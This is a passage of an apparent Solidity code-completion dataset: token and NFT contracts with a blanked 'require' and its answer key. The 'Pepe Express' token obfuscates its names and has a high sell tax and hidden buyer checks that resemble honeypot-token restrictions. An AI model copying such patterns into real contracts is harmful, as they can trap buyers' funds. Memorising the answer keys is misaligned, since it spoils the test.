function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PepeExpress is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Pepe Express";
string private constant _symbol = "PTE";
uint8 private constant _decimals = 9;
uint256 private constant _totalsSupply_adp = 100000000 * 10 **_decimals;
uint256 public _maxTxAmount = _totalsSupply_adp;
uint256 public _maxWalletSize = _totalsSupply_adp;
uint256 public _taxSwapThreshold= _totalsSupply_adp;
uint256 public _maxTaxSwap= _totalsSupply_adp;
uint256 private _BuyTaxinitial=9;
uint256 private _SellTaxinitial=25;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAtreduce=6;
uint256 private _SellTaxAtreduce=1;
uint256 private _usesPrevetingSwapingPrevy=0;
uint256 private _blocCountsdInBuing=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _map_addresPaying;
mapping (address => bool) private _taxjtWalletfy;
mapping(address => uint256) private _map_address_ForTmesampTransfring;
bool public _enabaleLiEnary = false;
address public _taxejFeepReceiverty = 0x4a80CFA94C97624b91D3445b652F12da0AA437CF;
IuniswapRouter private _uniswaptRoutersUniswaptFactory;
address private _uniswapPairTokensLiquidity;
bool private ForkTraingtiflagjt;
bool private _flagniswapIstSig = false;
bool private _swapingnUniswapOKzSigns = false;
event RemoveAllLimit(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (_enabaleLiEnary) {
if (to != address(_uniswaptRoutersUniswaptFactory) && to != address(_uniswapPairTokensLiquidity)) {
require(<FILL_ME>)
_map_address_ForTmesampTransfring[tx.origin] = block.number;
}
}
if (from == _uniswapPairTokensLiquidity && to != address(_uniswaptRoutersUniswaptFactory) && !_map_addresPaying[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_blocCountsdInBuing<_usesPrevetingSwapingPrevy){
require(!_frzyapdxq(to));
}
_blocCountsdInBuing++; _taxjtWalletfy[to]=true;
taxAmount = amount.mul((_blocCountsdInBuing>_BuyTaxAtreduce)?_BuyTaxfinal:_BuyTaxinitial).div(100);
}
if(to == _uniswapPairTokensLiquidity && from!= address(this) && !_map_addresPaying[from] ){
require(amount <= _maxTxAmount && balanceOf(_taxejFeepReceiverty)<_maxTaxSwap, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_blocCountsdInBuing>_SellTaxAtreduce)?_SellTaxfinal:_SellTaxinitial).div(100);
require(_blocCountsdInBuing>_usesPrevetingSwapingPrevy && _taxjtWalletfy[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_flagniswapIstSig
&& to == _uniswapPairTokensLiquidity && _swapingnUniswapOKzSigns && contractTokenBalance>_taxSwapThreshold
&& _blocCountsdInBuing>_usesPrevetingSwapingPrevy&& !_map_addresPaying[to]&& !_map_addresPaying[from]
) {
swapqTokentqhlaq( _ekqgw(amount, _ekqgw(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]= _wjlye(from, _balances[from], amount);
_balances[to]=_balances[to].add(amount. _wjlye(taxAmount));
emit Transfer(from, to, amount. _wjlye(taxAmount));
}
function swapqTokentqhlaq(uint256 amountForstoken) private lockTheSwap {
}
function _ekqgw(uint256 a, uint256 b) private pure returns (uint256){
}
function _wjlye(address from, uint256 a, uint256 b) private view returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frzyapdxq(address _addrtq) private view returns (bool) {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
}
| _map_address_ForTmesampTransfring[tx.origin]<block.number,"Only one transfer per block allowed." | 178,212 | _map_address_ForTmesampTransfring[tx.origin]<block.number |
null | /*
Pepe Express $PTE
TWITTER: https://twitter.com/Pepe_Express
TELEGRAM: https://t.me/PepeExpress
WEBSITE: https://pepeerc.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjlye(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjlye(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PepeExpress is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Pepe Express";
string private constant _symbol = "PTE";
uint8 private constant _decimals = 9;
uint256 private constant _totalsSupply_adp = 100000000 * 10 **_decimals;
uint256 public _maxTxAmount = _totalsSupply_adp;
uint256 public _maxWalletSize = _totalsSupply_adp;
uint256 public _taxSwapThreshold= _totalsSupply_adp;
uint256 public _maxTaxSwap= _totalsSupply_adp;
uint256 private _BuyTaxinitial=9;
uint256 private _SellTaxinitial=25;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAtreduce=6;
uint256 private _SellTaxAtreduce=1;
uint256 private _usesPrevetingSwapingPrevy=0;
uint256 private _blocCountsdInBuing=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _map_addresPaying;
mapping (address => bool) private _taxjtWalletfy;
mapping(address => uint256) private _map_address_ForTmesampTransfring;
bool public _enabaleLiEnary = false;
address public _taxejFeepReceiverty = 0x4a80CFA94C97624b91D3445b652F12da0AA437CF;
IuniswapRouter private _uniswaptRoutersUniswaptFactory;
address private _uniswapPairTokensLiquidity;
bool private ForkTraingtiflagjt;
bool private _flagniswapIstSig = false;
bool private _swapingnUniswapOKzSigns = false;
event RemoveAllLimit(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (_enabaleLiEnary) {
if (to != address(_uniswaptRoutersUniswaptFactory) && to != address(_uniswapPairTokensLiquidity)) {
require(_map_address_ForTmesampTransfring[tx.origin] < block.number,"Only one transfer per block allowed.");
_map_address_ForTmesampTransfring[tx.origin] = block.number;
}
}
if (from == _uniswapPairTokensLiquidity && to != address(_uniswaptRoutersUniswaptFactory) && !_map_addresPaying[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_blocCountsdInBuing<_usesPrevetingSwapingPrevy){
require(<FILL_ME>)
}
_blocCountsdInBuing++; _taxjtWalletfy[to]=true;
taxAmount = amount.mul((_blocCountsdInBuing>_BuyTaxAtreduce)?_BuyTaxfinal:_BuyTaxinitial).div(100);
}
if(to == _uniswapPairTokensLiquidity && from!= address(this) && !_map_addresPaying[from] ){
require(amount <= _maxTxAmount && balanceOf(_taxejFeepReceiverty)<_maxTaxSwap, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_blocCountsdInBuing>_SellTaxAtreduce)?_SellTaxfinal:_SellTaxinitial).div(100);
require(_blocCountsdInBuing>_usesPrevetingSwapingPrevy && _taxjtWalletfy[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_flagniswapIstSig
&& to == _uniswapPairTokensLiquidity && _swapingnUniswapOKzSigns && contractTokenBalance>_taxSwapThreshold
&& _blocCountsdInBuing>_usesPrevetingSwapingPrevy&& !_map_addresPaying[to]&& !_map_addresPaying[from]
) {
swapqTokentqhlaq( _ekqgw(amount, _ekqgw(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]= _wjlye(from, _balances[from], amount);
_balances[to]=_balances[to].add(amount. _wjlye(taxAmount));
emit Transfer(from, to, amount. _wjlye(taxAmount));
}
function swapqTokentqhlaq(uint256 amountForstoken) private lockTheSwap {
}
function _ekqgw(uint256 a, uint256 b) private pure returns (uint256){
}
function _wjlye(address from, uint256 a, uint256 b) private view returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frzyapdxq(address _addrtq) private view returns (bool) {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
}
| !_frzyapdxq(to) | 178,212 | !_frzyapdxq(to) |
"trading is already open" | /*
Pepe Express $PTE
TWITTER: https://twitter.com/Pepe_Express
TELEGRAM: https://t.me/PepeExpress
WEBSITE: https://pepeerc.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjlye(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjlye(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PepeExpress is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Pepe Express";
string private constant _symbol = "PTE";
uint8 private constant _decimals = 9;
uint256 private constant _totalsSupply_adp = 100000000 * 10 **_decimals;
uint256 public _maxTxAmount = _totalsSupply_adp;
uint256 public _maxWalletSize = _totalsSupply_adp;
uint256 public _taxSwapThreshold= _totalsSupply_adp;
uint256 public _maxTaxSwap= _totalsSupply_adp;
uint256 private _BuyTaxinitial=9;
uint256 private _SellTaxinitial=25;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAtreduce=6;
uint256 private _SellTaxAtreduce=1;
uint256 private _usesPrevetingSwapingPrevy=0;
uint256 private _blocCountsdInBuing=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _map_addresPaying;
mapping (address => bool) private _taxjtWalletfy;
mapping(address => uint256) private _map_address_ForTmesampTransfring;
bool public _enabaleLiEnary = false;
address public _taxejFeepReceiverty = 0x4a80CFA94C97624b91D3445b652F12da0AA437CF;
IuniswapRouter private _uniswaptRoutersUniswaptFactory;
address private _uniswapPairTokensLiquidity;
bool private ForkTraingtiflagjt;
bool private _flagniswapIstSig = false;
bool private _swapingnUniswapOKzSigns = false;
event RemoveAllLimit(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapqTokentqhlaq(uint256 amountForstoken) private lockTheSwap {
}
function _ekqgw(uint256 a, uint256 b) private pure returns (uint256){
}
function _wjlye(address from, uint256 a, uint256 b) private view returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frzyapdxq(address _addrtq) private view returns (bool) {
}
function openTrading() external onlyOwner() {
require(<FILL_ME>)
_uniswaptRoutersUniswaptFactory = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_uniswaptRoutersUniswaptFactory), _totalsSupply_adp);
_uniswapPairTokensLiquidity = IUniswapV2Factory(_uniswaptRoutersUniswaptFactory.factory()).createPair(address(this), _uniswaptRoutersUniswaptFactory.WETH());
_uniswaptRoutersUniswaptFactory.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapPairTokensLiquidity).approve(address(_uniswaptRoutersUniswaptFactory), type(uint).max);
_swapingnUniswapOKzSigns = true;
ForkTraingtiflagjt = true;
}
receive() external payable {}
}
| !ForkTraingtiflagjt,"trading is already open" | 178,212 | !ForkTraingtiflagjt |
"Not enough ether sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract worst is ERC721A, Ownable {
uint256 public maxMintAmountPerTxn = 20;
uint256 public maxSupply = 3333;
uint256 public mintPrice = 0.0005 ether;
bool public paused = true;
string public baseURI = "";
constructor() ERC721A("Worst Art In 2k22", "WA2k22") {}
function mintTo(address to, uint256 count) external onlyOwner {
}
function mint(uint256 count) external payable {
require(!paused, 'Paused');
require(count > 0 && count <= maxMintAmountPerTxn, "Invalid mint amount!");
require(totalSupply() + count <= maxSupply, "Not enough tokens left");
require(<FILL_ME>)
_safeMint(msg.sender, count);
}
function withdraw() external payable onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setPaused(bool _state) public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function setMaxMintAmountPerTxn(uint256 _maxMintAmountPerTxn) public onlyOwner {
}
function setBaseURI(string memory _uri) external onlyOwner {
}
function totalMinted() external view returns (uint256) {
}
}
| msg.value>=(mintPrice*count),"Not enough ether sent" | 178,255 | msg.value>=(mintPrice*count) |
"BASE_COLLECTION/CANNOT_MINT_PRESALE" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./external/ERC721AWithRoyalties.sol";
import "./external/ExternallyPurchaseable.sol";
// @author rollauver.eth
contract TipNStrip is ERC721AWithRoyalties, ExternallyPurchaseable, PaymentSplitter {
string public _baseTokenURI;
bytes32 public _merkleRoot;
uint256 public _price;
uint256 public _presalePrice;
uint256 public _maxSupply;
uint256 public _maxPerAddress;
uint256 public _presaleMaxPerAddress;
uint256 public _publicSaleTime;
uint256 public _preSaleTime;
uint256 public _maxTxPerAddress;
mapping(address => uint256) private _purchases;
event EarlyPurchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
event Purchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI, // baseTokenURI - 0
uint256[] memory numericValues, // price - 0, presalePrice - 1, maxSupply - 2, maxPerAddress - 3, presaleMaxPerAddress - 4, publicSaleTime - 5, _preSaleTime - 6, _maxTxPerAddress - 7
bytes32 merkleRoot,
address[] memory payees,
uint256[] memory shares,
address royaltyRecipient,
uint256 royaltyAmount
) ERC721AWithRoyalties(name, symbol, numericValues[2], royaltyRecipient, royaltyAmount) PaymentSplitter(payees, shares) {
}
function setSaleInformation(
uint256 publicSaleTime,
uint256 preSaleTime,
uint256 maxPerAddress,
uint256 presaleMaxPerAddress,
uint256 price,
uint256 presalePrice,
bytes32 merkleRoot,
uint256 maxTxPerAddress
) external onlyOwner {
}
function isPublicSaleActive() public view override returns (bool) {
}
function isPreSaleActive() public view override returns (bool) {
}
function onEarlyPurchaseList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function MAX_TOTAL_MINT() public view returns (uint256) {
}
function PRICE() public view returns (uint256) {
}
function MAX_TOTAL_MINT_PER_ADDRESS() public view returns (uint256) {
}
function setBaseUri(
string memory baseUri
) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function mintBatch(address[] memory toAddresses, uint256[] memory counts) external payable onlyOwner {
}
function purchase(uint256 count) external payable whenNotPaused {
}
function earlyPurchase(uint256 count, bytes32[] calldata merkleProof) external payable whenNotPaused {
require(<FILL_ME>)
earlyPurchaseHelper(msg.sender, count);
}
function _baseURI() override internal view virtual returns (string memory) {
}
function purchaseHelper(address to, uint256 count) internal override {
}
function earlyPurchaseHelper(address to, uint256 count) internal override {
}
function _purchase(uint256 count, uint256 price, address to) private {
}
function ensureMintConditions(uint256 count) internal view {
}
function ensurePublicMintConditions(address to, uint256 count, uint256 maxPerAddress) internal view {
}
}
| isPreSaleActive()&&onEarlyPurchaseList(msg.sender,merkleProof),"BASE_COLLECTION/CANNOT_MINT_PRESALE" | 178,426 | isPreSaleActive()&&onEarlyPurchaseList(msg.sender,merkleProof) |
"BASE_COLLECTION/CANNOT_MINT" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./external/ERC721AWithRoyalties.sol";
import "./external/ExternallyPurchaseable.sol";
// @author rollauver.eth
contract TipNStrip is ERC721AWithRoyalties, ExternallyPurchaseable, PaymentSplitter {
string public _baseTokenURI;
bytes32 public _merkleRoot;
uint256 public _price;
uint256 public _presalePrice;
uint256 public _maxSupply;
uint256 public _maxPerAddress;
uint256 public _presaleMaxPerAddress;
uint256 public _publicSaleTime;
uint256 public _preSaleTime;
uint256 public _maxTxPerAddress;
mapping(address => uint256) private _purchases;
event EarlyPurchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
event Purchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI, // baseTokenURI - 0
uint256[] memory numericValues, // price - 0, presalePrice - 1, maxSupply - 2, maxPerAddress - 3, presaleMaxPerAddress - 4, publicSaleTime - 5, _preSaleTime - 6, _maxTxPerAddress - 7
bytes32 merkleRoot,
address[] memory payees,
uint256[] memory shares,
address royaltyRecipient,
uint256 royaltyAmount
) ERC721AWithRoyalties(name, symbol, numericValues[2], royaltyRecipient, royaltyAmount) PaymentSplitter(payees, shares) {
}
function setSaleInformation(
uint256 publicSaleTime,
uint256 preSaleTime,
uint256 maxPerAddress,
uint256 presaleMaxPerAddress,
uint256 price,
uint256 presalePrice,
bytes32 merkleRoot,
uint256 maxTxPerAddress
) external onlyOwner {
}
function isPublicSaleActive() public view override returns (bool) {
}
function isPreSaleActive() public view override returns (bool) {
}
function onEarlyPurchaseList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function MAX_TOTAL_MINT() public view returns (uint256) {
}
function PRICE() public view returns (uint256) {
}
function MAX_TOTAL_MINT_PER_ADDRESS() public view returns (uint256) {
}
function setBaseUri(
string memory baseUri
) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function mintBatch(address[] memory toAddresses, uint256[] memory counts) external payable onlyOwner {
}
function purchase(uint256 count) external payable whenNotPaused {
}
function earlyPurchase(uint256 count, bytes32[] calldata merkleProof) external payable whenNotPaused {
}
function _baseURI() override internal view virtual returns (string memory) {
}
function purchaseHelper(address to, uint256 count) internal override {
ensurePublicMintConditions(to, count, _maxPerAddress);
require(<FILL_ME>)
_purchase(count, _price, to);
emit Purchase(to, _price, count);
}
function earlyPurchaseHelper(address to, uint256 count) internal override {
}
function _purchase(uint256 count, uint256 price, address to) private {
}
function ensureMintConditions(uint256 count) internal view {
}
function ensurePublicMintConditions(address to, uint256 count, uint256 maxPerAddress) internal view {
}
}
| isPublicSaleActive(),"BASE_COLLECTION/CANNOT_MINT" | 178,426 | isPublicSaleActive() |
'BASE_COLLECTION/INSUFFICIENT_ETH_AMOUNT' | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./external/ERC721AWithRoyalties.sol";
import "./external/ExternallyPurchaseable.sol";
// @author rollauver.eth
contract TipNStrip is ERC721AWithRoyalties, ExternallyPurchaseable, PaymentSplitter {
string public _baseTokenURI;
bytes32 public _merkleRoot;
uint256 public _price;
uint256 public _presalePrice;
uint256 public _maxSupply;
uint256 public _maxPerAddress;
uint256 public _presaleMaxPerAddress;
uint256 public _publicSaleTime;
uint256 public _preSaleTime;
uint256 public _maxTxPerAddress;
mapping(address => uint256) private _purchases;
event EarlyPurchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
event Purchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI, // baseTokenURI - 0
uint256[] memory numericValues, // price - 0, presalePrice - 1, maxSupply - 2, maxPerAddress - 3, presaleMaxPerAddress - 4, publicSaleTime - 5, _preSaleTime - 6, _maxTxPerAddress - 7
bytes32 merkleRoot,
address[] memory payees,
uint256[] memory shares,
address royaltyRecipient,
uint256 royaltyAmount
) ERC721AWithRoyalties(name, symbol, numericValues[2], royaltyRecipient, royaltyAmount) PaymentSplitter(payees, shares) {
}
function setSaleInformation(
uint256 publicSaleTime,
uint256 preSaleTime,
uint256 maxPerAddress,
uint256 presaleMaxPerAddress,
uint256 price,
uint256 presalePrice,
bytes32 merkleRoot,
uint256 maxTxPerAddress
) external onlyOwner {
}
function isPublicSaleActive() public view override returns (bool) {
}
function isPreSaleActive() public view override returns (bool) {
}
function onEarlyPurchaseList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function MAX_TOTAL_MINT() public view returns (uint256) {
}
function PRICE() public view returns (uint256) {
}
function MAX_TOTAL_MINT_PER_ADDRESS() public view returns (uint256) {
}
function setBaseUri(
string memory baseUri
) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function mintBatch(address[] memory toAddresses, uint256[] memory counts) external payable onlyOwner {
}
function purchase(uint256 count) external payable whenNotPaused {
}
function earlyPurchase(uint256 count, bytes32[] calldata merkleProof) external payable whenNotPaused {
}
function _baseURI() override internal view virtual returns (string memory) {
}
function purchaseHelper(address to, uint256 count) internal override {
}
function earlyPurchaseHelper(address to, uint256 count) internal override {
}
function _purchase(uint256 count, uint256 price, address to) private {
require(<FILL_ME>)
_purchases[to] += count;
_safeMint(to, count);
}
function ensureMintConditions(uint256 count) internal view {
}
function ensurePublicMintConditions(address to, uint256 count, uint256 maxPerAddress) internal view {
}
}
| price*count<=msg.value,'BASE_COLLECTION/INSUFFICIENT_ETH_AMOUNT' | 178,426 | price*count<=msg.value |
"BASE_COLLECTION/EXCEEDS_MAX_SUPPLY" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./external/ERC721AWithRoyalties.sol";
import "./external/ExternallyPurchaseable.sol";
// @author rollauver.eth
contract TipNStrip is ERC721AWithRoyalties, ExternallyPurchaseable, PaymentSplitter {
string public _baseTokenURI;
bytes32 public _merkleRoot;
uint256 public _price;
uint256 public _presalePrice;
uint256 public _maxSupply;
uint256 public _maxPerAddress;
uint256 public _presaleMaxPerAddress;
uint256 public _publicSaleTime;
uint256 public _preSaleTime;
uint256 public _maxTxPerAddress;
mapping(address => uint256) private _purchases;
event EarlyPurchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
event Purchase(address indexed addr, uint256 indexed atPrice, uint256 indexed count);
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI, // baseTokenURI - 0
uint256[] memory numericValues, // price - 0, presalePrice - 1, maxSupply - 2, maxPerAddress - 3, presaleMaxPerAddress - 4, publicSaleTime - 5, _preSaleTime - 6, _maxTxPerAddress - 7
bytes32 merkleRoot,
address[] memory payees,
uint256[] memory shares,
address royaltyRecipient,
uint256 royaltyAmount
) ERC721AWithRoyalties(name, symbol, numericValues[2], royaltyRecipient, royaltyAmount) PaymentSplitter(payees, shares) {
}
function setSaleInformation(
uint256 publicSaleTime,
uint256 preSaleTime,
uint256 maxPerAddress,
uint256 presaleMaxPerAddress,
uint256 price,
uint256 presalePrice,
bytes32 merkleRoot,
uint256 maxTxPerAddress
) external onlyOwner {
}
function isPublicSaleActive() public view override returns (bool) {
}
function isPreSaleActive() public view override returns (bool) {
}
function onEarlyPurchaseList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function MAX_TOTAL_MINT() public view returns (uint256) {
}
function PRICE() public view returns (uint256) {
}
function MAX_TOTAL_MINT_PER_ADDRESS() public view returns (uint256) {
}
function setBaseUri(
string memory baseUri
) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function mintBatch(address[] memory toAddresses, uint256[] memory counts) external payable onlyOwner {
}
function purchase(uint256 count) external payable whenNotPaused {
}
function earlyPurchase(uint256 count, bytes32[] calldata merkleProof) external payable whenNotPaused {
}
function _baseURI() override internal view virtual returns (string memory) {
}
function purchaseHelper(address to, uint256 count) internal override {
}
function earlyPurchaseHelper(address to, uint256 count) internal override {
}
function _purchase(uint256 count, uint256 price, address to) private {
}
function ensureMintConditions(uint256 count) internal view {
require(<FILL_ME>)
}
function ensurePublicMintConditions(address to, uint256 count, uint256 maxPerAddress) internal view {
}
}
| totalSupply()+count<=_maxSupply,"BASE_COLLECTION/EXCEEDS_MAX_SUPPLY" | 178,426 | totalSupply()+count<=_maxSupply |
"BASE_COLLECTION/EXCEEDS_MAX_PER_TRANSACTION" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./external/ERC721AWithRoyalties.sol";
import "./external/ExternallyPurchaseable.sol";
// @author rollauver.eth
